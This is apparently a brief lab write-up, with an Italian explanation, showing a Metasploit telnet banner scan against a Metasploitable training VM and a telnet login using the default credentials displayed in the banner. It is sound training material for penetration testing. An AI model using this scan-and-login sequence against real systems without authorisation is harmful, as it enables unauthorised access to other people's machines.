

MSF Telnet scanner

```
Matching Modules

#  Name                               Disclosure Date  Rank  Check  Description
-  -                               -
0  auxiliary/scanner/telnet/lantronix_telnet_version  normal  No  Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version           normal  No  Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > info

Name: Telnet Service Banner Detection
Module: auxiliary/scanner/telnet/telnet_version
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>

Check supported:
No

Basic options:
Name      Current Setting  Required  Description
-  -  -  -
PASSWORD  no               no        The password for the specified username
RHOSTS    yes             yes        The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     23              yes        The target port (TCP)
THREADS   1               yes        The number of concurrent threads (max one per host)
TIMEOUT   30              yes        Timeout for the Telnet probe
USERNAME  no               no        The username to authenticate as

Description:
Detect telnet services

View the full module info with the info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts
rhosts =>
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.10
rhosts => 192.168.1.10
msf6 auxiliary(scanner/telnet/telnet_version) > run

[*] 192.168.1.10:23 - 192.168.1.10:23 TELNET
[*] 192.168.1.10:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > show payloads
```

```
File Actions Edit View Help

(kali@kali)-[~]
$ telnet 192.168.1.10
Trying 192.168.1.10 ...
Connected to 192.168.1.10.
Escape character is '^['.

Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-08-16)

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Dec  6 06:50:03 EST 2022 from kali.station on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

Avviando msfconsole possiamo trovare il tool auxiliary telnet_version, lo selezioniamo e settiamo l'RHOSTS con IP vittima (Meta 192.168.1.10), lo avviamo e riusciamo ad ottenere una preview della shell dove ci indica utente e password. Aprendo un nuovo terminale ci colleghiamo con telnet + IP ed inseriamo le credenziali ottenute. Vediamo appunto che ci effettua il login.